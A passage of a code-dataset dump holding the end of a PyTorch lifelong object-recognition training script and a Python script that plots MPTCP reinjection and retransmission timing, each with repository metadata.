lr=args.lr,weight_decay=args.weight_decay)\n\treturn optimizer, par\n\ndef create_optimizer1(net, args):\n\tgrouped, par = group_weight(net)\n\t\n\toptimizer = torch.optim.SGD(grouped, lr=args.lr, weight_decay=args.weight_decay, momentum=args.beta1, nesterov=True)\n\treturn optimizer, par\n\ndef main(args):\n\n\t#model = EfficientNet.from_name(\"efficientnet-b3\").to(device)\n\tmodel = MobileNetV2().to(device)\n\tf = open(\"losses.txt\", \"a\")\n\tf.write(test_name)\n\tf.write(\"\\n\")\n\tf.close()\n\tf = open(\"val.txt\", \"a\")\n\tf.write(test_name)\n\tf.write(\"\\n\")\n\tf.close()\n\toptimizer, par = create_optimizer1(model, args)\n\t\n\t\n\tif args.load:\n\t\tmodel.load_state_dict(torch.load(\"batch0\"))\n\t\t\n\tif args.focal_loss:\n\t\tloss = FocalLoss(gamma=args.gamma).to(device)\n\telse:\n\t\tloss = nn.CrossEntropyLoss().to(device)\n\ttrans = transforms.Compose([\n\t\ttransforms.Resize((224,224)),\n\t\ttransforms.RandomHorizontalFlip(),\n\t\ttransforms.ToTensor(),\n\t\ttransforms.Normalize([0.485, 0.456, 0.406], [0.229, 0.224, 0.225]),\n\t])\n\n\ttransview = transforms.Compose([\n\t\ttransforms.Resize((224, 224)),\n\t\ttransforms.RandomHorizontalFlip(),\n\t\ttransforms.ToTensor()])\n\n\ttrain_batch_list = [BatchData(args.train_dataset_path, 'train', i, trans) for i in range(1, 13)]\n\n\ttrain_loader_list = [(torch.utils.data.DataLoader(batch, batch_size=args.batch_size, shuffle=True, num_workers=2), batch.data_list, batch.label_list)\n\t\t\t\t\t\tfor batch in train_batch_list]\n\n\tval_batch_list = [BatchData(args.val_dataset_path, 'validation', i, trans) for i in range(1, 13)]\n\n\tval_loader_list = [(torch.utils.data.DataLoader(batch, batch_size=args.batch_size, shuffle=False, num_workers=2), batch.data_list, batch.label_list)\n\t\t\t\t\t\tfor batch in val_batch_list]\n\n\tview_batch_list = [BatchData(args.val_dataset_path, 'validation', i, transview) for i in range(1, 13)]\n\n\tview_loader_list = [torch.utils.data.DataLoader(batch, batch_size=args.batch_size, shuffle=True, num_workers=2)\n\t\t\t\t\t\tfor batch in view_batch_list]\n\n\treplay1 = ReplayMemory(12, len(val_loader_list[0]), 40)\n\n\t\n\treplay = torch.utils.data.DataLoader(ReplayData(replay1.replaybuffer, replay1.label, trans), batch_size=args.batch_size, shuffle=False, num_workers=0)\n\t\n\tfor train_task in range(12):\n\t\t\n\t\t\n\t\tmodel.train()\n\t\t\n\t\tif train_task != -1:\n\t\t\tbest_acc = AverageMeter()\n\t\t\tlos = AverageMeter()\n\t\t\t\n\t\t\tif train_task == 11:\n\t\t\t\targs.num_epoch = 30\n\n\t\t\tfor epoch in range(1,args.num_epoch+1):\n\t\t\t\tif train_task == 11 and epoch == 21:\n\t\t\t\t\targs.lr = 0.003\n\t\t\t\tif train_task ==0:\n\t\t\t\t\tlos = train(train_loader_list[train_task], train_task>0, train_task, model, loss, optimizer, epoch, par, 0, 1, args)\n\t\t\t\telse:\n\t\t\t\t\tif epoch == 2:\n\t\t\t\t\t\treplay1 = validate(val_loader_list[train_task-1], model, loss, train_task-1, train_task, view_loader_list[train_task-1], replay1)\n\t\t\t\t\t\treplay = torch.utils.data.DataLoader(ReplayData(replay1.replaybuffer, replay1.label, trans), batch_size=2*args.batch_size, shuffle=False, num_workers=0)\n\t\t\t\t\t\tprint(\"Replay:\", len(replay1.replaybuffer))\n\n\t\t\t\t\tlos = train(train_loader_list[train_task], val_loader_list[train_task], train_task, model, loss, optimizer, epoch, par, replay, 1,args)\n\t\t\t\tacc = val_acc(val_loader_list[train_task], model)\n\t\t\t\tif acc > best_acc.avg:\n\t\t\t\t\tbest_acc.update(acc)\n\n\t\t\t\telif best_acc.avg - acc >= 1:\n\t\t\t\t\tprint(\">>>>>>Early Stopping:\", acc, best_acc.avg)\n\t\t\t\t\tlr_log = 0\n\t\t\t\t\tfor param_group in optimizer.param_groups:\n\t\t\t\t\t\tlr_log = param_group['lr']\n\n\t\t\t\t\t# save_ckpt(los, lr_log, best_acc, train_task, model, epoch, args.num_epoch)\n\t\t\t\t\tbreak\n\t\treplay1.reset()\n\t\tfor i in range(train_task + 1):\n\t\t\tmodel.eval()\n\t\t\twith torch.no_grad():\n\t\t\t\treplay1 = validate(val_loader_list[i], model, loss, i, train_task, view_loader_list[i], replay1)\n\n\t\tif train_task:\n\n\t\t\treplay = torch.utils.data.DataLoader(ReplayData(replay1.replaybuffer, replay1.label, trans), batch_size=2*args.batch_size, shuffle=True, num_workers=0)\n\t\telse:\n\t\t\treplay = torch.utils.data.DataLoader(ReplayData(replay1.replaybuffer, replay1.label, trans), batch_size=2*args.batch_size, shuffle=False, num_workers=0)\n\n\t\t\n\n\n\nif __name__ == '__main__':\n\n\tparser = argparse.ArgumentParser()\n\n\tparser.add_argument('--train_dataset_path',\n\t\t\t\t\t\tdefault='./data')\n\tparser.add_argument('--val_dataset_path',\n\t\t\t\t\t\tdefault='./data')\n\tparser.add_argument('--load',\n\t\t\t\t\t\tdefault=0)\n\tparser.add_argument('--batch_size',\n\t\t\t\t\t\tdefault=16)\n\n\tparser.add_argument('--gpus', default='0,1,2',\n\t\t\t\t\t\thelp='gpus to use, e.g. 0-3 or 0,1,2,3')\n\tparser.add_argument('--batch_size_per_gpu', default=1, type=int,\n\t\t\t\t\t\thelp='input batch size')\n\tparser.add_argument('--num_epoch', default=20, type=int,\n\t\t\t\t\t\thelp='epochs to train for')\n\tparser.add_argument('--start_epoch', default=1, type=int,\n\t\t\t\t\t\thelp='epoch to start training. useful if continue from a checkpoint')\n\tparser.add_argument('--epoch_iters', default=3000, type=int,\n\t\t\t\t\t\thelp='iterations of each epoch (irrelevant to batch size)')\n\tparser.add_argument('--optim', default='SGD', help='optimizer')\n\tparser.add_argument('--lr', default=0.01, type=float, help='LR')#used 0.01\n\tparser.add_argument('--lr_pow', default=0.9, type=float,\n\t\t\t\t\t\thelp='power in poly to drop LR')\n\tparser.add_argument('--beta1', default=0.9, type=float,\n\t\t\t\t\t\thelp='momentum for sgd, beta1 for adam')\n\tparser.add_argument('--weight_decay', default=0.0002, type=float,\n\t\t\t\t\t\thelp='weights regularizer')#Changes!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!\n\tparser.add_argument('--disp_iter', type=int, default=10,\n\t\t\t\t\t\thelp='frequency to display')\n\n\tparser.add_argument('--margin-m', type=float, default=0.5, help='angular margin m')\n\tparser.add_argument('--margin-s', type=float, default=64.0, help='feature scale s')\n\tparser.add_argument('--easy-margin', type=bool, default=False, help='easy margin')\n\tparser.add_argument('--focal-loss', type=bool, default=False, help='focal loss')\n\tparser.add_argument('--gamma', type=float, default=2.0, help='focusing parameter gamma')\n\n\n\targs = parser.parse_args()\n\tprint(\"Input arguments:\")\n\tfor key, val in vars(args).items():\n\t\tprint(\"{:16} {}\".format(key, val))\n\n\tmain(args)\n", "repo_name": "vidit98/Lifelong_Object_Recognition", "sub_path": "train.py", "file_name": "train.py", "file_ext": "py", "file_size_in_byte": 14158, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 2, "dataset": "github-code", "pt": "78", "api": [{"api_name": "torch.device", "line_number": 16, "usage_type": "call"}, {"api_name": "torch.cuda.is_available", "line_number": 16, "usage_type": "call"}, {"api_name": "torch.cuda", "line_number": 16, "usage_type": "attribute"}, {"api_name": "torch.save", "line_number": 32, "usage_type": "call"}, {"api_name": "data.AverageMeter", "line_number": 39, "usage_type": "call"}, {"api_name": "data.AverageMeter", "line_number": 40, "usage_type": "call"}, {"api_name": "data.AverageMeter", "line_number": 41, "usage_type": "call"}, {"api_name": "data.AverageMeter", "line_number": 42, "usage_type": "call"}, {"api_name": "data.AverageMeter", "line_number": 43, "usage_type": "call"}, {"api_name": "time.time", "line_number": 56, "usage_type": "call"}, {"api_name": "time.time", "line_number": 65, "usage_type": "call"}, {"api_name": "torch.sum", "line_number": 70, "usage_type": "call"}, {"api_name": "torch.abs", "line_number": 70, "usage_type": "call"}, {"api_name": "time.time", "line_number": 93, "usage_type": "call"}, {"api_name": "time.time", "line_number": 94, "usage_type": "call"}, {"api_name": "torch.sum", "line_number": 145, "usage_type": "call"}, {"api_name": "torch.abs", "line_number": 145, "usage_type": "call"}, {"api_name": "time.time", "line_number": 163, "usage_type": "call"}, {"api_name": "time.time", "line_number": 164, "usage_type": "call"}, {"api_name": "data.AverageMeter", "line_number": 187, "usage_type": "call"}, {"api_name": "data.AverageMeter", "line_number": 204, "usage_type": "call"}, {"api_name": "data.AverageMeter", "line_number": 205, "usage_type": "call"}, {"api_name": "replay.replaybuffer", "line_number": 223, "usage_type": "attribute"}, {"api_name": "replay.update_best", "line_number": 226, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 226, "usage_type": "call"}, {"api_name": "replay.update_replay", "line_number": 230, "usage_type": "call"}, {"api_name": "torch.nn.Linear", "line_number": 249, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 249, "usage_type": "name"}, {"api_name": "torch.nn.modules", "line_number": 253, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 253, "usage_type": "name"}, {"api_name": "torch.nn.modules", "line_number": 257, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 257, "usage_type": "name"}, {"api_name": "torch.optim.RMSprop", "line_number": 300, "usage_type": "call"}, {"api_name": "torch.optim", "line_number": 300, "usage_type": "attribute"}, {"api_name": "torch.optim.SGD", "line_number": 306, "usage_type": "call"}, {"api_name": "torch.optim", "line_number": 306, "usage_type": "attribute"}, {"api_name": "torch.load", "line_number": 325, "usage_type": "call"}, {"api_name": "torch.nn.CrossEntropyLoss", "line_number": 330, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 330, "usage_type": "name"}, {"api_name": "torchvision.transforms.Compose", "line_number": 331, "usage_type": "call"}, {"api_name": "torchvision.transforms", "line_number": 331, "usage_type": "name"}, {"api_name": "torchvision.transforms.Resize", "line_number": 332, "usage_type": "call"}, {"api_name": "torchvision.transforms", "line_number": 332, "usage_type": "name"}, {"api_name": "torchvision.transforms.RandomHorizontalFlip", "line_number": 333, "usage_type": "call"}, {"api_name": "torchvision.transforms", "line_number": 333, "usage_type": "name"}, {"api_name": "torchvision.transforms.ToTensor", "line_number": 334, "usage_type": "call"}, {"api_name": "torchvision.transforms", "line_number": 334, "usage_type": "name"}, {"api_name": "torchvision.transforms.Normalize", "line_number": 335, "usage_type": "call"}, {"api_name": "torchvision.transforms", "line_number": 335, "usage_type": "name"}, {"api_name": "torchvision.transforms.Compose", "line_number": 338, "usage_type": "call"}, {"api_name": "torchvision.transforms", "line_number": 338, "usage_type": "name"}, {"api_name": "torchvision.transforms.Resize", "line_number": 339, "usage_type": "call"}, {"api_name": "torchvision.transforms", "line_number": 339, "usage_type": "name"}, {"api_name": "torchvision.transforms.RandomHorizontalFlip", "line_number": 340, "usage_type": "call"}, {"api_name": "torchvision.transforms", "line_number": 340, "usage_type": "name"}, {"api_name": "torchvision.transforms.ToTensor", "line_number": 341, "usage_type": "call"}, {"api_name": "torchvision.transforms", "line_number": 341, "usage_type": "name"}, {"api_name": "data.BatchData", "line_number": 343, "usage_type": "call"}, {"api_name": "torch.utils.data.DataLoader", "line_number": 345, "usage_type": "call"}, {"api_name": "torch.utils", "line_number": 345, "usage_type": "attribute"}, {"api_name": "data.BatchData", "line_number": 348, "usage_type": "call"}, {"api_name": "torch.utils.data.DataLoader", "line_number": 350, "usage_type": "call"}, {"api_name": "torch.utils", "line_number": 350, "usage_type": "attribute"}, {"api_name": "data.BatchData", "line_number": 353, "usage_type": "call"}, {"api_name": "torch.utils.data.DataLoader", "line_number": 355, "usage_type": "call"}, {"api_name": "torch.utils", "line_number": 355, "usage_type": "attribute"}, {"api_name": "torch.utils.data.DataLoader", "line_number": 361, "usage_type": "call"}, {"api_name": "torch.utils", "line_number": 361, "usage_type": "attribute"}, {"api_name": "data.AverageMeter", "line_number": 369, "usage_type": "call"}, {"api_name": "data.AverageMeter", "line_number": 370, "usage_type": "call"}, {"api_name": "torch.utils.data.DataLoader", "line_number": 383, "usage_type": "call"}, {"api_name": "torch.utils", "line_number": 383, "usage_type": "attribute"}, {"api_name": "torch.no_grad", "line_number": 402, "usage_type": "call"}, {"api_name": "torch.utils.data.DataLoader", "line_number": 407, "usage_type": "call"}, {"api_name": "torch.utils", "line_number": 407, "usage_type": "attribute"}, {"api_name": "torch.utils.data.DataLoader", "line_number": 409, "usage_type": "call"}, {"api_name": "torch.utils", "line_number": 409, "usage_type": "attribute"}, {"api_name": "argparse.ArgumentParser", "line_number": 417, "usage_type": "call"}]} {"seq_id": "22134927982", "text": "from __future__ import print_function\nfrom math import ceil\n\nimport argparse\nimport matplotlib\n# Do not use any X11 backend\nmatplotlib.use('Agg')\nmatplotlib.rcParams['pdf.fonttype'] = 42\nmatplotlib.rcParams['ps.fonttype'] = 42\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport os\nimport sys\n\n# Add root directory in Python path and be at the root\nROOT_DIR = os.path.abspath(os.path.join(\".\", os.pardir))\nos.chdir(ROOT_DIR)\nsys.path.append(ROOT_DIR)\n\nimport common as co\nimport common_graph as cog\nimport mptcp\nimport tcp\n\n##################################################\n## ARGUMENTS ##\n##################################################\n\nparser = argparse.ArgumentParser(\n description=\"Summarize stat files generated by analyze\")\nparser.add_argument(\"-s\",\n \"--stat\", help=\"directory where the stat files are stored\", default=co.DEF_STAT_DIR + '_' + co.DEF_IFACE)\nparser.add_argument('-S',\n \"--sums\", help=\"directory where the summary graphs will be stored\", default=co.DEF_SUMS_DIR + '_' + co.DEF_IFACE)\nparser.add_argument(\"-d\",\n \"--dirs\", help=\"list of directories to aggregate\", nargs=\"+\")\n\nargs = parser.parse_args()\nstat_dir_exp = os.path.abspath(os.path.join(ROOT_DIR, args.stat))\nsums_dir_exp = os.path.abspath(os.path.join(ROOT_DIR, args.sums))\nco.check_directory_exists(sums_dir_exp)\n\n##################################################\n## GET THE DATA ##\n##################################################\n\nconnections = cog.fetch_valid_data(stat_dir_exp, args)\nmultiflow_connections, singleflow_connections = cog.get_multiflow_connections(connections)\n\n##################################################\n## PLOTTING RESULTS ##\n##################################################\n\nRETRANS = 'Retransmission'\nREINJ = 'Reinjection'\nmin_duration = 0.001\nlog_file = sys.stdout\n\nlocation_time = {co.C2S: {REINJ: [], RETRANS: []}, co.S2C: {REINJ: [], RETRANS: []}}\nreinj_first_sec = []\ngraph_fname = \"merge_time_reinjection_retranmission\"\nbase_graph_path = os.path.join(sums_dir_exp, graph_fname)\ncount_duration = {co.C2S: 0, co.S2C: 0}\ncount_low_duration = {co.C2S: 0, co.S2C: 0}\nfor fname, conns in multiflow_connections.iteritems():\n for conn_id, conn in conns.iteritems():\n # We never know, still check\n if isinstance(conn, mptcp.MPTCPConnection):\n duration = float(conn.attr.get(co.DURATION, '0.0'))\n if duration <= min_duration:\n continue\n\n if co.START not in conn.attr:\n continue\n\n start_time = conn.attr[co.START].total_seconds()\n # Avoid taking into account connections that do not use at least two subflows\n nb_flows = 0\n for flow_id, flow in conn.flows.iteritems():\n if flow.attr[co.D2S].get(co.BYTES, 0) > 0:\n nb_flows += 1\n\n if nb_flows < 2:\n continue\n\n min_start_time = start_time\n max_end_time = 0.0\n for flow_id, flow in conn.flows.iteritems():\n if co.START not in flow.attr:\n continue\n flow_start_time = flow.attr[co.START].total_seconds()\n min_start_time = min(min_start_time, flow_start_time)\n flow_start_time_int = long(flow_start_time)\n flow_start_time_dec = float('0.' + str(flow_start_time - flow_start_time_int).split('.')[1])\n flow_start_time_dec = ceil(flow_start_time_dec * 1000000) / 1000000.0\n flow_duration_int = long(flow.attr.get(co.DURATION, 0.0))\n flow_duration_dec = float('0.' + '{0:.6f}'.format(flow.attr.get(co.DURATION, 0.0) - flow_duration_int).split('.')[1])\n flow_duration_dec = ceil(flow_duration_dec * 1000000) / 1000000.0\n flow_end_time_int = flow_start_time_int + flow_duration_int\n flow_end_time_dec = flow_start_time_dec + flow_duration_dec\n flow_end_time = flow_end_time_int + flow_end_time_dec\n max_end_time = max(max_end_time, flow_end_time)\n\n start_time = min_start_time\n start_time_int = long(start_time)\n start_time_dec = float('0.' + str(start_time - start_time_int).split('.')[1])\n start_time_dec = ceil(start_time_dec * 1000000) / 1000000.0\n end_time_int = long(max_end_time)\n end_time_dec = float('0.' + str(max_end_time - end_time_int).split('.')[1])\n end_time_dec = ceil(end_time_dec * 1000000) / 1000000.0\n duration_dec = (end_time_dec - start_time_dec)\n duration_int = (end_time_int - start_time_int)\n duration = duration_dec + duration_int\n warning_reinj = open(os.path.join(sums_dir_exp, 'warning_reinj.txt'), 'w')\n look_95 = open(os.path.join(sums_dir_exp, 'look95.txt'), 'w')\n look_100 = open(os.path.join(sums_dir_exp, 'look100.txt'), 'w')\n warning_retrans = open(os.path.join(sums_dir_exp, 'warning_retrans.txt'), 'w')\n for direction in [co.S2C]:\n for flow_id, flow in conn.flows.iteritems():\n if co.REINJ_ORIG_TIMESTAMP in flow.attr[direction] and co.START in flow.attr:\n for ts in flow.attr[direction][co.REINJ_ORIG_TIMESTAMP]:\n # Some tricks to avoid floating errors\n ts_int = long(ts)\n ts_dec = float('0.' + str(ts - ts_int).split('.')[1])\n ts_dec = ceil(ts_dec * 1000000) / 1000000.0\n ts_dec_delta = ts_dec - start_time_dec\n ts_fix_int = ts_int - start_time_int\n ts_fix = ts_fix_int + ts_dec_delta\n # location_time[direction]['all'][\"Reinjections\"].append(max(min(ts_fix / duration, 1.0), 0.0))\n location_time[direction][REINJ].append(ts_fix / duration)\n if direction == co.S2C and ts_fix / duration < 0.0 or ts_fix / duration > 1.0:\n print(fname, conn_id, flow_id, ts_fix / duration, ts, start_time, ts_fix, duration, file=warning_reinj)\n if direction == co.S2C and ts_fix <= 1.0:\n reinj_first_sec.append((conn_id, flow_id))\n if direction == co.S2C and ts_fix / duration >= 0.92 and ts_fix / duration <= 0.97:\n print(fname, conn_id, flow_id, ts_fix / duration, ts, start_time, ts_fix, duration, file=look_95)\n if direction == co.S2C and ts_fix / duration >= 0.99:\n print(\"LOOK 100\", fname, conn_id, flow_id, ts_fix / duration, ts, start_time, ts_fix, duration, file=log_file)\n\n for direction in co.DIRECTIONS:\n for flow_id, flow in conn.flows.iteritems():\n if co.TIMESTAMP_RETRANS in flow.attr[direction] and co.START in flow.attr:\n # start_flow_time = float(flow.attr[co.START])\n # time_diff = start_flow_time - start_time\n for ts, _, _, _ in flow.attr[direction][co.TIMESTAMP_RETRANS]:\n # Some tricks to avoid floating errors\n ts_int = long(ts.total_seconds())\n ts_dec = float('0.' + str(ts.total_seconds() - ts_int).split('.')[1])\n ts_dec = ceil(ts_dec * 1000000) / 1000000.0\n ts_dec_delta = ts_dec - start_time_dec\n ts_fix_int = ts_int - start_time_int\n ts_fix = ts_fix_int + ts_dec_delta\n # location_time[direction][RETRANS].append(max(min((ts + time_diff) / duration, 1.0), 0.0))\n location_time[direction][RETRANS].append(ts_fix / duration)\n if ts_fix / duration < 0 or ts_fix / duration > 1:\n print(\"NOOOOO\", fname, conn_id, flow_id, duration, start_time, ts, ts_fix, ts_fix / duration, file=log_file)\n if direction == co.S2C and ts_fix / duration >= 0.99:\n print(\"LOOK RETRANS\", fname, conn_id, flow_id, duration, ts_fix / duration, file=log_file)\n count_duration[direction] += 1\n if duration < 3.0:\n count_low_duration[direction] += 1\n # if direction == co.S2C and (ts + time_diff) / duration < 0.0 or (ts + time_diff) / duration > 1.0:\n # print(fname, conn_id, flow_id, ts / duration, file=warning_retrans)\n\n\nls = {RETRANS: '--', REINJ: '-'}\ncolor = {RETRANS: 'blue', REINJ: 'red'}\nfor direction in co.DIRECTIONS:\n plt.figure()\n plt.clf()\n fig, ax = plt.subplots()\n\n for dataset in [RETRANS, REINJ]:\n sample = np.array(sorted(location_time[direction][dataset]))\n sorted_array = np.sort(sample)\n yvals = np.arange(len(sorted_array)) / float(len(sorted_array))\n if len(sorted_array) > 0:\n # Add a last point\n sorted_array = np.append(sorted_array, sorted_array[-1])\n yvals = np.append(yvals, 1.0)\n # Log plot\n ax.plot(sorted_array, yvals, color=color[dataset], linewidth=2, linestyle=ls[dataset], label=dataset)\n\n ax.set_xscale('log')\n plt.xlim(xmin=0.00001)\n ax.legend(loc='lower right')\n\n plt.xlabel('Fraction of connection duration', fontsize=24)\n plt.ylabel(\"CDF\", fontsize=24)\n plt.savefig(os.path.splitext(base_graph_path)[0] + '_log_' + direction + '.pdf')\n plt.close('all')\n\n # No log\n plt.figure()\n plt.clf()\n fig, ax = plt.subplots()\n\n for dataset in [RETRANS, REINJ]:\n sample = np.array(sorted(location_time[direction][dataset]))\n sorted_array = np.sort(sample)\n yvals = np.arange(len(sorted_array)) / float(len(sorted_array))\n if len(sorted_array) > 0:\n # Add a last point\n sorted_array = np.append(sorted_array, sorted_array[-1])\n yvals = np.append(yvals, 1.0)\n # Log plot\n ax.plot(sorted_array, yvals, color=color[dataset], linewidth=2, linestyle=ls[dataset], label=dataset)\n\n ax.legend(loc='lower right')\n\n plt.xlabel('Fraction of connection duration', fontsize=24)\n plt.ylabel(\"CDF\", fontsize=24)\n plt.savefig(os.path.splitext(base_graph_path)[0] + '_' + direction + '.pdf')\n plt.close('all')\n\n# co.plot_cdfs_with_direction(location_time, color, 'Fraction of connection duration', base_graph_path, natural=True)\n#co.plot_cdfs_with_direction(location_time_nocorrect, color, 'Fraction of connection duration', base_graph_path + '_nocorrect', natural=True)\nprint(reinj_first_sec, file=log_file)\nprint(len(reinj_first_sec), \"reinjections in 1 second\", file=log_file)\nwarning_reinj.close()\nlook_95.close()\nlook_100.close()\nwarning_retrans.close()\nfor direction in co.DIRECTIONS:\n print(\"DURATION\", count_duration[direction], count_low_duration[direction], file=log_file)\n", "repo_name": "multipath-tcp/mptcp-analysis-scripts", "sub_path": "scripts_graph/time_retrans_reinj.py", "file_name": "time_retrans_reinj.py", "file_ext": "py", "file_size_in_byte": 11321, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 7, "dataset": "github-code", "pt": "78", "api": [{"api_name": "matplotlib.use", "line_number": 7, "usage_type": "call"}, {"api_name": "matplotlib.rcParams", "line_number": 8, "usage_type": "attribute"}, {"api_name": "matplotlib.rcParams", "line_number": 9, "usage_type": "attribute"}, {"api_name": "os.path.abspath", "line_number": 16, "usage_type": "call"}, {"api_name": "os.path", "line_number": 16, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 16, "usage_type": "call"}, {"api_name": "os.pardir", "line_number": 16, "usage_type": "attribute"}, {"api_name": "os.chdir", "line_number": 17, "usage_type": "call"}, {"api_name": "sys.path.append", "line_number": 18, "usage_type": "call"}, {"api_name": "sys.path", "line_number": 18, "usage_type": "attribute"}, {"api_name": "argparse.ArgumentParser", "line_number": 29, "usage_type": "call"}, {"api_name": "common.DEF_STAT_DIR", "line_number": 32, "usage_type": "attribute"}, {"api_name": "common.DEF_IFACE", "line_number": 32, "usage_type": "attribute"}, {"api_name": "common.DEF_SUMS_DIR", "line_number": 34, "usage_type": "attribute"}, {"api_name": "common.DEF_IFACE", "line_number": 34, "usage_type": "attribute"}, {"api_name": "os.path.abspath", "line_number": 39, "usage_type": "call"}, {"api_name": "os.path", "line_number": 39, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 39, "usage_type": "call"}, {"api_name": "os.path.abspath", "line_number": 40, "usage_type": "call"}, {"api_name": "os.path", "line_number": 40, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 40, "usage_type": "call"}, {"api_name": "common.check_directory_exists", "line_number": 41, "usage_type": "call"}, {"api_name": "common_graph.fetch_valid_data", "line_number": 47, "usage_type": "call"}, {"api_name": "common_graph.get_multiflow_connections", "line_number": 48, "usage_type": "call"}, {"api_name": "sys.stdout", "line_number": 57, "usage_type": "attribute"}, {"api_name": "common.C2S", "line_number": 59, "usage_type": "attribute"}, {"api_name": "common.S2C", "line_number": 59, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 62, "usage_type": "call"}, {"api_name": "os.path", "line_number": 62, "usage_type": "attribute"}, {"api_name": "common.C2S", "line_number": 63, "usage_type": "attribute"}, {"api_name": "common.S2C", "line_number": 63, "usage_type": "attribute"}, {"api_name": "common.C2S", "line_number": 64, "usage_type": "attribute"}, {"api_name": "common.S2C", "line_number": 64, "usage_type": "attribute"}, {"api_name": "mptcp.MPTCPConnection", "line_number": 68, "usage_type": "attribute"}, {"api_name": "common.DURATION", "line_number": 69, "usage_type": "attribute"}, {"api_name": "common.START", "line_number": 73, "usage_type": "attribute"}, {"api_name": "common.START", "line_number": 76, "usage_type": "attribute"}, {"api_name": "common.D2S", "line_number": 80, "usage_type": "attribute"}, {"api_name": "common.BYTES", "line_number": 80, "usage_type": "attribute"}, {"api_name": "common.START", "line_number": 89, "usage_type": "attribute"}, {"api_name": "common.START", "line_number": 91, "usage_type": "attribute"}, {"api_name": "math.ceil", "line_number": 95, "usage_type": "call"}, {"api_name": "common.DURATION", "line_number": 96, "usage_type": "attribute"}, {"api_name": "common.DURATION", "line_number": 97, "usage_type": "attribute"}, {"api_name": "math.ceil", "line_number": 98, "usage_type": "call"}, {"api_name": "math.ceil", "line_number": 107, "usage_type": "call"}, {"api_name": "math.ceil", "line_number": 110, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 114, "usage_type": "call"}, {"api_name": "os.path", "line_number": 114, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 115, "usage_type": "call"}, {"api_name": "os.path", "line_number": 115, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 116, "usage_type": "call"}, {"api_name": "os.path", "line_number": 116, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 117, "usage_type": "call"}, {"api_name": "os.path", "line_number": 117, "usage_type": "attribute"}, {"api_name": "common.S2C", "line_number": 118, "usage_type": "attribute"}, {"api_name": "common.REINJ_ORIG_TIMESTAMP", "line_number": 120, "usage_type": "attribute"}, {"api_name": "common.START", "line_number": 120, "usage_type": "attribute"}, {"api_name": "common.REINJ_ORIG_TIMESTAMP", "line_number": 121, "usage_type": "attribute"}, {"api_name": "math.ceil", "line_number": 125, "usage_type": "call"}, {"api_name": "common.S2C", "line_number": 131, "usage_type": "attribute"}, {"api_name": "common.S2C", "line_number": 133, "usage_type": "attribute"}, {"api_name": "common.S2C", "line_number": 135, "usage_type": "attribute"}, {"api_name": "common.S2C", "line_number": 137, "usage_type": "attribute"}, {"api_name": "common.DIRECTIONS", "line_number": 140, "usage_type": "attribute"}, {"api_name": "common.TIMESTAMP_RETRANS", "line_number": 142, "usage_type": "attribute"}, {"api_name": "common.START", "line_number": 142, "usage_type": "attribute"}, {"api_name": "common.TIMESTAMP_RETRANS", "line_number": 145, "usage_type": "attribute"}, {"api_name": "math.ceil", "line_number": 149, "usage_type": "call"}, {"api_name": "common.S2C", "line_number": 157, "usage_type": "attribute"}, {"api_name": "common.DIRECTIONS", "line_number": 168, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 169, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 169, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.clf", "line_number": 170, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 170, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.subplots", "line_number": 171, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 171, "usage_type": "name"}, {"api_name": "numpy.array", "line_number": 174, "usage_type": "call"}, {"api_name": "numpy.sort", "line_number": 175, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 176, "usage_type": "call"}, {"api_name": "numpy.append", "line_number": 179, "usage_type": "call"}, {"api_name": "numpy.append", "line_number": 180, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.xlim", "line_number": 185, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 185, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 188, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 188, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 189, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 189, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.savefig", "line_number": 190, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 190, "usage_type": "name"}, {"api_name": "os.path.splitext", "line_number": 190, "usage_type": "call"}, {"api_name": "os.path", "line_number": 190, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot.close", "line_number": 191, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 191, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 194, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 194, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.clf", "line_number": 195, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 195, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.subplots", "line_number": 196, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 196, "usage_type": "name"}, {"api_name": "numpy.array", "line_number": 199, "usage_type": "call"}, {"api_name": "numpy.sort", "line_number": 200, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 201, "usage_type": "call"}, {"api_name": "numpy.append", "line_number": 204, "usage_type": "call"}, {"api_name": "numpy.append", "line_number": 205, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 211, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 211, 